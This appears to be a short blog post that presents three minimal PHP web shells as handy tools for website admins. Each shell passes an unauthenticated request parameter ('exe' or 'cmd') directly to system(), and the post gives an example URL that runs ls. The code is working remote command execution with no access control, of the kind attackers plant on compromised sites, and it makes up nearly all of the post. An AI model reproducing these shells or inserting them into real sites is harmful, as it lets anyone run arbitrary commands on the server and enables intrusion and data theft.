Simple Web Shell PHP [clean]

1 Shares

a few lines of code are useful for website admins.

want to make a command on the server or just upload files to your own website.

Here are provided some very simple web shells, please use them in a good way.

VERSI 1

<?php if(isset($_REQUEST['exe'])){ echo "<pre>"; $exe = ($_REQUEST['exe']); system($exe); echo "</pre>"; die; }?>


VERSI 2

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

VERSI 3

<?php
if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}
?>

Usage: http://you.com/file.php?cmd=ls

 

 

You May Also Like

Leave a Reply

Your email address will not be published. Required fields are marked *